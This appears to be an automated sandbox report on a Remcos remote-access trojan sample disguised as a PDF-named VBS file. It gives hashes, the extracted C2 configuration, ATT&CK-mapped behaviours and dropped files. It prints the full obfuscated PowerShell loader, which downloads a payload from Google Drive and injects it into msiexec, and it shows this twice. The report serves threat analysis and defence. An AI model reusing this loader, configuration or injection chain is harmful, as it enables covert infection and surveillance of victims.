remcos | 8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396

General

Target

A 413736796·pdf.vbs
Size

73KB
MD5

3f5e0a8b0d1ac0143d359bcb63171066
SHA1

7f6368b52a021340768f61ae047d88c7e6d4add3
SHA256

8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396
SHA512

a2a351604fd741bdb95f74836aad27de590eb96857413da9187071c37cc6efd5b261057cd6bec5b4df94d9dc61d3179d4a8a37a4e23b0d5279ba254e83b3f5b3
SSDEEP

1536:sC1DjneW/+yAxEfH8YQO2+VjuNaU7CGTE4+6GDoQVYf:sC1v/3A+fRVji7CW9dGGf

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

a458386d9.duckdns.org:3256

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-WDQFG0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 9 IoCs

flow	pid	Process
15	3360	powershell.exe
17	3360	powershell.exe
32	4540	msiexec.exe
34	4540	msiexec.exe
37	4540	msiexec.exe
39	4540	msiexec.exe
43	4540	msiexec.exe
53	4540	msiexec.exe
55	4540	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe
3360	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
15	drive.google.com
32	drive.google.com
14	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4540	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2768	powershell.exe
4540	msiexec.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2768 set thread context of 4540	2768	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3360	powershell.exe
3360	powershell.exe
2768	powershell.exe
2768	powershell.exe
2768	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 3360	4928	WScript.exe	82
PID 4928 wrote to memory of 3360	4928	WScript.exe	82
PID 2768 wrote to memory of 4540	2768	powershell.exe	93
PID 2768 wrote to memory of 4540	2768	powershell.exe	93
PID 2768 wrote to memory of 4540	2768	powershell.exe	93
PID 2768 wrote to memory of 4540	2768	powershell.exe	93
PID 2768 wrote to memory of 4540	2768	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\A 413736796·pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Staggers Eudoxian Basilikummens Bonuspoint Tabskontoers Skallesmkkeren #>;$Lyserde='Showery';<#Lennoaceous reetableringen Retrieveren Personificerende Engladden Trkloset #>;$Paradoksal=$host.PrivateData;If ($Paradoksal) {$Veratrize++;}function Omhng120($Serranid){$Dekaterer=$Shockedness+$Serranid.Length-$Veratrize;for( $Triphosphate=5;$Triphosphate -lt $Dekaterer;$Triphosphate+=6){$Noosphere+=$Serranid[$Triphosphate];}$Noosphere;}function Stungen($Mermithergate){ . ($Psychogram) ($Mermithergate);}$Attributvrdierne=Omhng120 ' S apMTrougoK ncezStivniGen.rlSeminlKysteaIn.an/ Apof5Dr,je.Unreh0 U op Sikk (KimmeWMarbliTilb,nBr.lldNonv.o Fo,gwFo hisGenm. Kv.lN LadiTIgang Ducat1Tor j0Roeku.Schis0Mis t;C,odp NonefW PaneiFunkinTegne6Bnk v4Dripp; Eth ClywdxPerfo6 otto4Nomog;Yuruj ompharCh.fsvCykel:Unrev1 al g2Monol1Dagbo.Ersta0Janic) pole HyperG en,meMini cHeatek AlmioHu.ge/U sty2Strat0C ntr1Afko 0 U ig0ulsel1Lr.om0 Un u1 Tak DetaiFEf eriS,andrEnd.oe yltefP ukiorovsexDopin/Anemo1Os,el2di co1St,rs.Forva0Tub r ';$Odelet=Omhng120 'StenaUHomopSInveseVasofrA omv-Vejl,aReintG Sti,eDvornNAficiTEfter ';$Exaltations=Omhng120 '.ndechSv retMe,antMaoprpFeoffs Exp,: Cach/H ved/Deni dVel,frBespiiAntifvDiesee,ncau.Af tagIld uo op.aoSpildgPedomlUdrkeeGabes. X muc S.rboVrdstmska.d/Vildsu Bestc Udho?Casime.ragixStreep Suf.oPacifr Fedttacade=GroutdM ntaoGho twFyrrenCulo lrenteo.ermiaDoku d Rut & awahiHesped A li=Sytte1AquifZPseuddTalmayReshvbNobblZLygteYScala4 onunW onarRowsnMUn.omwNonh.YFac.eKEgoceb OutsuSvaleTUnderl irroGAl ebVprokuA snusN h litSlito9nertswOwlytX Nr ehFreigqImmollMe siWPrizeSGlem BBimlecSpr n ';$Christiansfeldere=Omhng120 'Optan>Rapso ';$Psychogram=Omhng120 'Cantaib odee atyrxAsymp ';$Nonexaggeration='Kassemangelens238';$Astrography='\Sternman224.Ill';Stungen (Omhng120 'A nde$Rainmg aledlNonexoForklbCountaPlettlBenzo:PadraIOpr ts.ntgetBrandaMlersnVicekdParitsAdmintW.isttStride Su lng gardDelegeSedim= Dr,b$ SnrleEntern igurvKompl: Overa Sk lpoverfpHintidproklaExuditLandsaStikb+Sharp$ inteANonhysImitatReg orBrys oT ykkgUt ovr UninaBescopT nnih ChoryAf ig ');Stungen (Omhng120 ' rnd$ tab gM,tallPreocoCondubSemita Tilfl urf:Sn ckSSingeeTricorFjerdiC,appaTricot SloseBulbil Angryv der=Lema $ AkadE lndfx TuscaHookslCobantPa deabulbitJunioiNonunoBiblinElectsUnde,. Rei,s Sc.epAdr nl ArguiMarvbtBeho,( Ceph$ShrugCLeonohMetodr RecuiBord sPlumatMarvei BermaPylorn OversOpmunfB,rmeeKonf lMonopdFuldveSpo trCodifeDecay)Upli ');Stungen (Omhng120 'overs[HymenN Gl meDrylyt Hove.Iagt Sm scaeChalkr A csvskil iKursuc Min,eA jekPMinkfo arzi FormnMyrictMrkatM roteaSimuln Nsk aCarougSmedeerestirTypol] D.ct:Klu d:OnomaS Jaw eUre.ecro eruLkkerrEnjoyi.entetHercyyAfs.iPMeninr CongoSlumbtNarrooReduccHyperoDuntplNeatn Stan.=Still Optim[Un erNVentueAnthrtI tax.BallfSIngeneM,rphc ntrouSkaber c,lpiV rdetgraviySulfaPT.ykkrOrd eoSolbatElekto UnoccNervio Fritl PrecTBill ySkr.bpLdreceNavne] rodu: Prpa:Cos.uTPecullBecrisCorre1Pikan2M cac ');$Exaltations=$Seriately[0];$Nongratifying=(Omhng120 'Songo$ AlumgM slyl RidsOStedmBRadioADel.nLOutpe:d skod O diy CaddeChampmMy coawindskPortaiSh ngN ccengSquad=ContaNPal ee BoerwGa,le- askOEtrusbP ppaJ postepursuCOran TBirac Arla sDrayiyt mposNonexTBo igeDruckmDiaki. BetinSlyngeVu.tuTRin e.VakuuwGanjaEOligabTils,cPirusLIntuiiDumdretrichnSkylltEndos ');Stungen ($Nongratifying);Stungen (Omhng120 'Donkr$ Int DPos ty MisteAncismTac.ya CounkFremeiSoftnnSubskgtwa d. iltrHCollieP steaUno edNa.opeumba ranodesRmega[Misto$SarifOMultidGlo,se RondlColomeCharat Medb]Front= List$ .aktATaktat OvertStra.r KlipiGlaurbPiratuOvonit stanvinde r CruodSpot iT.teleHous,rBeta nutense Reag ');$indledningers=Omhng120 'Inter$ .urpD L,ddyUnde eUncoummisdoaPer ek stofi.ebninjesuigG mcr. AlviD umfooDecenw ndsntevanlModneoMa agaKolbedSoldeF HeliiUn.nel Imdee riv( Kont$LektuEMavesx BinaaSkak.lXyloftInteraInjektTv reiMandjoFlippn Forms orag, gi t$SrklaMKrakee c epgBlamaaUnstar IjmaaInsti)psyko ';$Megara=$Istandsttende;Stungen (Omhng120 'Ndtrf$ ouquG tooll rikiOAlmacBOpfriaToothlProd :GefilD Inteo BesiNTyphousoci tBitniSLaman= njoi(gmelitResurEBaandsFlas,t Ildr-otozop AddraB,styt omfrHPeasa Chaws$TrnermBl baEBrideGBeroeaBlyglrAfsteABland)Omfo, ');while (!$Donuts) {Stungen (Omhng120 'Delef$JentrgRiflilKem koColosbUnsu a Schel exah:HvlviDBec siFrontdP ecrySesqunListeaUdfldmSucrai GaveaThion=Udrad$.utoltOmbytrfrogfu.lleseW,yme ') ;Stungen $indledningers;Stungen (Omhng120 'StiffSPreobtColosaLaeotrS tratChiff- UdasSVouchlJews eSepale opplpBinds Abote4Leads ');Stungen (Omhng120 'Hastv$T.ikogOve flL veroJ,nglbDeadwa selelOmgng:Asse DHvneroStemnnMang,uOwnsutLakfasPri,r= U ex(bo igT PacheCiff sOv.rptOldeb-Pa,esP ChiaaUl entU sanhUse e To on$ UnguM VermeGenkog BlodaF,dlar adioaRasor)Obers ') ;Stungen (Omhng120 'Overs$Utakng AllelCl,sso Bu,nbForlaa VedllForha:RevirT ,ouraNonsem Ro deHayag= Med $Telefg WiltlmoutooHetaebel,owaIndf,lmonos: EnerFHandsiSiks lPretrmLun rsDromot summr Derbi EctomPoli mPhotoeOve,nlHuers+Acina+Disbe%Under$,andsS ungeeUnb arReseriAccu.a Gen tunhare fblalSlummyAnt.r.LaramcSmallo SkyduAfskrnSybiltMaves ') ;$Exaltations=$Seriately[$Tame];}$Eksekverbare=282308;$trikstank=31667;Stungen (Omhng120 'C rom$ motigCirculTagryoMiliebForloaG.bbel S pr:NonemJBlacku Eftel orudeAllerm BluneForbis puppsNoveme LrernidiomsWab,t Repe=Akupu .aatGAdelseAandftGen r- maniCInsinoGrnsen EgentL,tbee reennFraflt ndel Unr p$.outiMro aieOpkalgGutsiaPilferKle oa She, ');Stungen (Omhng120 ' ore$Forsvgtmmerl Ens o CarbbPseudaRkkevlBev s:FormaEAspacxS ptopC rkelFriediFj rncFlyn aSunfibSvaeriLokall Nippi roustBlaahyTopsp rind=W shi Retor[ xureSNotoryTil.ys salvtContaeEmanumneote.KefsfCAu tlo.odifnHyn,sv Reole DamprL.gkatNumbb]Skatt:Proec:MetteFF dusrSkitsoChargmInterBBe liaStvnisforfeeCro.k6 egle4 itheSFrosttLatherAmpleiAblatnPrologPalae(Belam$ Au oJDe maustranlGoyineEndotmCommieSeggas ecisMali.e NectnAntics Akti)Besla ');Stungen (Omhng120 'Missu$SubvegfravrlTaksto portb Re saNinetlGalvv:Leg nTFlymehTrapioEnh dmCordiiBrugesD cklt Ac u Uddan=Confi Afpa[ MetaS Ect y Genes.ipsot harie rdomm Stev.Musk,TOmproeSek nx Othatindkr. SecaEAlv onEctrocOrigioErkyndBryoniSneadnVillig ,ntr]Soci :rgneh:StilmABrnepS ynonCP.laeISaracIBetj .SeersGUndereEnwrit pannS Umrktbassar trici otanGamb g over( Coxe$DrapeE Se uxN,nmapCranilFerdyiSleigcKamgaaAdaptb Gappi.aabul Tek iFolket DiacyDisco) Farv ');Stungen (Omhng120 'Samme$CircugTasselVens.oRhi ebS elnaBothilThaum:HvidkoHoggepMolalsMet gt BesktO teaeIndbanGonord StateDem t=Downv$DisemTNaturhUn raoBagr.mPersoiSprkfs Blegt M zz.Hove.sDe,umuanstrbEmbiosJydettOptakrT staiBeslanRsonngP haw( .iva$TanisE R.mpkLymphsHu hjedaakakD shevVrvleeHeracrSubcob So aa A derSamleeParti, apot$Laze.tM diarShoppi Foolk fluisForgat ver aUndernportskD,tal)Echiu ');Stungen $opsttende;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Staggers Eudoxian Basilikummens Bonuspoint Tabskontoers Skallesmkkeren #>;$Lyserde='Showery';<#Lennoaceous reetableringen Retrieveren Personificerende Engladden Trkloset #>;$Paradoksal=$host.PrivateData;If ($Paradoksal) {$Veratrize++;}function Omhng120($Serranid){$Dekaterer=$Shockedness+$Serranid.Length-$Veratrize;for( $Triphosphate=5;$Triphosphate -lt $Dekaterer;$Triphosphate+=6){$Noosphere+=$Serranid[$Triphosphate];}$Noosphere;}function Stungen($Mermithergate){ . ($Psychogram) ($Mermithergate);}$Attributvrdierne=Omhng120 ' S apMTrougoK ncezStivniGen.rlSeminlKysteaIn.an/ Apof5Dr,je.Unreh0 U op Sikk (KimmeWMarbliTilb,nBr.lldNonv.o Fo,gwFo hisGenm. Kv.lN LadiTIgang Ducat1Tor j0Roeku.Schis0Mis t;C,odp NonefW PaneiFunkinTegne6Bnk v4Dripp; Eth ClywdxPerfo6 otto4Nomog;Yuruj ompharCh.fsvCykel:Unrev1 al g2Monol1Dagbo.Ersta0Janic) pole HyperG en,meMini cHeatek AlmioHu.ge/U sty2Strat0C ntr1Afko 0 U ig0ulsel1Lr.om0 Un u1 Tak DetaiFEf eriS,andrEnd.oe yltefP ukiorovsexDopin/Anemo1Os,el2di co1St,rs.Forva0Tub r ';$Odelet=Omhng120 'StenaUHomopSInveseVasofrA omv-Vejl,aReintG Sti,eDvornNAficiTEfter ';$Exaltations=Omhng120 '.ndechSv retMe,antMaoprpFeoffs Exp,: Cach/H ved/Deni dVel,frBespiiAntifvDiesee,ncau.Af tagIld uo op.aoSpildgPedomlUdrkeeGabes. X muc S.rboVrdstmska.d/Vildsu Bestc Udho?Casime.ragixStreep Suf.oPacifr Fedttacade=GroutdM ntaoGho twFyrrenCulo lrenteo.ermiaDoku d Rut & awahiHesped A li=Sytte1AquifZPseuddTalmayReshvbNobblZLygteYScala4 onunW onarRowsnMUn.omwNonh.YFac.eKEgoceb OutsuSvaleTUnderl irroGAl ebVprokuA snusN h litSlito9nertswOwlytX Nr ehFreigqImmollMe siWPrizeSGlem BBimlecSpr n ';$Christiansfeldere=Omhng120 'Optan>Rapso ';$Psychogram=Omhng120 'Cantaib odee atyrxAsymp ';$Nonexaggeration='Kassemangelens238';$Astrography='\Sternman224.Ill';Stungen (Omhng120 'A nde$Rainmg aledlNonexoForklbCountaPlettlBenzo:PadraIOpr ts.ntgetBrandaMlersnVicekdParitsAdmintW.isttStride Su lng gardDelegeSedim= Dr,b$ SnrleEntern igurvKompl: Overa Sk lpoverfpHintidproklaExuditLandsaStikb+Sharp$ inteANonhysImitatReg orBrys oT ykkgUt ovr UninaBescopT nnih ChoryAf ig ');Stungen (Omhng120 ' rnd$ tab gM,tallPreocoCondubSemita Tilfl urf:Sn ckSSingeeTricorFjerdiC,appaTricot SloseBulbil Angryv der=Lema $ AkadE lndfx TuscaHookslCobantPa deabulbitJunioiNonunoBiblinElectsUnde,. Rei,s Sc.epAdr nl ArguiMarvbtBeho,( Ceph$ShrugCLeonohMetodr RecuiBord sPlumatMarvei BermaPylorn OversOpmunfB,rmeeKonf lMonopdFuldveSpo trCodifeDecay)Upli ');Stungen (Omhng120 'overs[HymenN Gl meDrylyt Hove.Iagt Sm scaeChalkr A csvskil iKursuc Min,eA jekPMinkfo arzi FormnMyrictMrkatM roteaSimuln Nsk aCarougSmedeerestirTypol] D.ct:Klu d:OnomaS Jaw eUre.ecro eruLkkerrEnjoyi.entetHercyyAfs.iPMeninr CongoSlumbtNarrooReduccHyperoDuntplNeatn Stan.=Still Optim[Un erNVentueAnthrtI tax.BallfSIngeneM,rphc ntrouSkaber c,lpiV rdetgraviySulfaPT.ykkrOrd eoSolbatElekto UnoccNervio Fritl PrecTBill ySkr.bpLdreceNavne] rodu: Prpa:Cos.uTPecullBecrisCorre1Pikan2M cac ');$Exaltations=$Seriately[0];$Nongratifying=(Omhng120 'Songo$ AlumgM slyl RidsOStedmBRadioADel.nLOutpe:d skod O diy CaddeChampmMy coawindskPortaiSh ngN ccengSquad=ContaNPal ee BoerwGa,le- askOEtrusbP ppaJ postepursuCOran TBirac Arla sDrayiyt mposNonexTBo igeDruckmDiaki. BetinSlyngeVu.tuTRin e.VakuuwGanjaEOligabTils,cPirusLIntuiiDumdretrichnSkylltEndos ');Stungen ($Nongratifying);Stungen (Omhng120 'Donkr$ Int DPos ty MisteAncismTac.ya CounkFremeiSoftnnSubskgtwa d. iltrHCollieP steaUno edNa.opeumba ranodesRmega[Misto$SarifOMultidGlo,se RondlColomeCharat Medb]Front= List$ .aktATaktat OvertStra.r KlipiGlaurbPiratuOvonit stanvinde r CruodSpot iT.teleHous,rBeta nutense Reag ');$indledningers=Omhng120 'Inter$ .urpD L,ddyUnde eUncoummisdoaPer ek stofi.ebninjesuigG mcr. AlviD umfooDecenw ndsntevanlModneoMa agaKolbedSoldeF HeliiUn.nel Imdee riv( Kont$LektuEMavesx BinaaSkak.lXyloftInteraInjektTv reiMandjoFlippn Forms orag, gi t$SrklaMKrakee c epgBlamaaUnstar IjmaaInsti)psyko ';$Megara=$Istandsttende;Stungen (Omhng120 'Ndtrf$ ouquG tooll rikiOAlmacBOpfriaToothlProd :GefilD Inteo BesiNTyphousoci tBitniSLaman= njoi(gmelitResurEBaandsFlas,t Ildr-otozop AddraB,styt omfrHPeasa Chaws$TrnermBl baEBrideGBeroeaBlyglrAfsteABland)Omfo, ');while (!$Donuts) {Stungen (Omhng120 'Delef$JentrgRiflilKem koColosbUnsu a Schel exah:HvlviDBec siFrontdP ecrySesqunListeaUdfldmSucrai GaveaThion=Udrad$.utoltOmbytrfrogfu.lleseW,yme ') ;Stungen $indledningers;Stungen (Omhng120 'StiffSPreobtColosaLaeotrS tratChiff- UdasSVouchlJews eSepale opplpBinds Abote4Leads ');Stungen (Omhng120 'Hastv$T.ikogOve flL veroJ,nglbDeadwa selelOmgng:Asse DHvneroStemnnMang,uOwnsutLakfasPri,r= U ex(bo igT PacheCiff sOv.rptOldeb-Pa,esP ChiaaUl entU sanhUse e To on$ UnguM VermeGenkog BlodaF,dlar adioaRasor)Obers ') ;Stungen (Omhng120 'Overs$Utakng AllelCl,sso Bu,nbForlaa VedllForha:RevirT ,ouraNonsem Ro deHayag= Med $Telefg WiltlmoutooHetaebel,owaIndf,lmonos: EnerFHandsiSiks lPretrmLun rsDromot summr Derbi EctomPoli mPhotoeOve,nlHuers+Acina+Disbe%Under$,andsS ungeeUnb arReseriAccu.a Gen tunhare fblalSlummyAnt.r.LaramcSmallo SkyduAfskrnSybiltMaves ') ;$Exaltations=$Seriately[$Tame];}$Eksekverbare=282308;$trikstank=31667;Stungen (Omhng120 'C rom$ motigCirculTagryoMiliebForloaG.bbel S pr:NonemJBlacku Eftel orudeAllerm BluneForbis puppsNoveme LrernidiomsWab,t Repe=Akupu .aatGAdelseAandftGen r- maniCInsinoGrnsen EgentL,tbee reennFraflt ndel Unr p$.outiMro aieOpkalgGutsiaPilferKle oa She, ');Stungen (Omhng120 ' ore$Forsvgtmmerl Ens o CarbbPseudaRkkevlBev s:FormaEAspacxS ptopC rkelFriediFj rncFlyn aSunfibSvaeriLokall Nippi roustBlaahyTopsp rind=W shi Retor[ xureSNotoryTil.ys salvtContaeEmanumneote.KefsfCAu tlo.odifnHyn,sv Reole DamprL.gkatNumbb]Skatt:Proec:MetteFF dusrSkitsoChargmInterBBe liaStvnisforfeeCro.k6 egle4 itheSFrosttLatherAmpleiAblatnPrologPalae(Belam$ Au oJDe maustranlGoyineEndotmCommieSeggas ecisMali.e NectnAntics Akti)Besla ');Stungen (Omhng120 'Missu$SubvegfravrlTaksto portb Re saNinetlGalvv:Leg nTFlymehTrapioEnh dmCordiiBrugesD cklt Ac u Uddan=Confi Afpa[ MetaS Ect y Genes.ipsot harie rdomm Stev.Musk,TOmproeSek nx Othatindkr. SecaEAlv onEctrocOrigioErkyndBryoniSneadnVillig ,ntr]Soci :rgneh:StilmABrnepS ynonCP.laeISaracIBetj .SeersGUndereEnwrit pannS Umrktbassar trici otanGamb g over( Coxe$DrapeE Se uxN,nmapCranilFerdyiSleigcKamgaaAdaptb Gappi.aabul Tek iFolket DiacyDisco) Farv ');Stungen (Omhng120 'Samme$CircugTasselVens.oRhi ebS elnaBothilThaum:HvidkoHoggepMolalsMet gt BesktO teaeIndbanGonord StateDem t=Downv$DisemTNaturhUn raoBagr.mPersoiSprkfs Blegt M zz.Hove.sDe,umuanstrbEmbiosJydettOptakrT staiBeslanRsonngP haw( .iva$TanisE R.mpkLymphsHu hjedaakakD shevVrvleeHeracrSubcob So aa A derSamleeParti, apot$Laze.tM diarShoppi Foolk fluisForgat ver aUndernportskD,tal)Echiu ');Stungen $opsttende;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\syswow64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  PID:4540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
968424c74bf6954664fbb91a0b59f29d

SHA1
1a5b8b7e9de8d270e21801965098afea42abc304

SHA256
dcb8c5d1d67c867118337666566f8825479554a50055585323cc414c3efbf90f

SHA512
b4650d260d1123eb3a863a68edcc87250362e2d712a5edb4004f95c4840cb5089bff7bfebb13fe276f139b743283b7a9d0cb3e0eba7b1cb5581b8aeb2670aad8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ctw41j1s.rxr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Sternman224.Ill

Filesize
408KB

MD5
ce86e8ebfb09204b1b79edd6b0ba0aee

SHA1
4d94c2433116295b08b1acf3a693a9bd87b8d12b

SHA256
1a4a1635d110e2f9f279138fceea9a3fc724e62ac91c199a83338c51053a450e

SHA512
c20ea924ded0ad9c6cef417396df2c1bb9ea1d14f60f56d30c2a41f08ff60895e9e82fa8cd7c5cfb3934acf138bac7eb561027e4e9e46dd4711e6aff49606f5d

Download Submit
memory/2768-42-0x0000000006070000-0x000000000608A000-memory.dmp

Filesize
104KB

Download
memory/2768-44-0x0000000006DA0000-0x0000000006DC2000-memory.dmp

Filesize
136KB

Download
memory/2768-47-0x00000000085D0000-0x000000000DC9C000-memory.dmp

Filesize
86.8MB

Download
memory/2768-45-0x0000000008020000-0x00000000085C4000-memory.dmp

Filesize
5.6MB

Download
memory/2768-43-0x0000000006E10000-0x0000000006EA6000-memory.dmp

Filesize
600KB

Download
memory/2768-41-0x00000000073F0000-0x0000000007A6A000-memory.dmp

Filesize
6.5MB

Download
memory/2768-40-0x0000000006160000-0x00000000061AC000-memory.dmp

Filesize
304KB

Download
memory/2768-23-0x00000000045C0000-0x00000000045F6000-memory.dmp

Filesize
216KB

Download
memory/2768-24-0x0000000004CE0000-0x0000000005308000-memory.dmp

Filesize
6.2MB

Download
memory/2768-25-0x0000000004C70000-0x0000000004C92000-memory.dmp

Filesize
136KB

Download
memory/2768-26-0x0000000005380000-0x00000000053E6000-memory.dmp

Filesize
408KB

Download
memory/2768-27-0x00000000053F0000-0x0000000005456000-memory.dmp

Filesize
408KB

Download
memory/2768-37-0x0000000005620000-0x0000000005974000-memory.dmp

Filesize
3.3MB

Download
memory/2768-39-0x0000000005B40000-0x0000000005B5E000-memory.dmp

Filesize
120KB

Download
memory/3360-12-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-22-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-21-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-0-0x00007FF95A683000-0x00007FF95A685000-memory.dmp

Filesize
8KB

Download
memory/3360-18-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-15-0x00007FF95A683000-0x00007FF95A685000-memory.dmp

Filesize
8KB

Download
memory/3360-17-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-11-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-16-0x00007FF95A680000-0x00007FF95B141000-memory.dmp

Filesize
10.8MB

Download
memory/3360-10-0x00000259BA510000-0x00000259BA532000-memory.dmp

Filesize
136KB

Download
memory/4540-61-0x0000000000E00000-0x0000000002054000-memory.dmp

Filesize
18.3MB

Download

Analysis

Sharing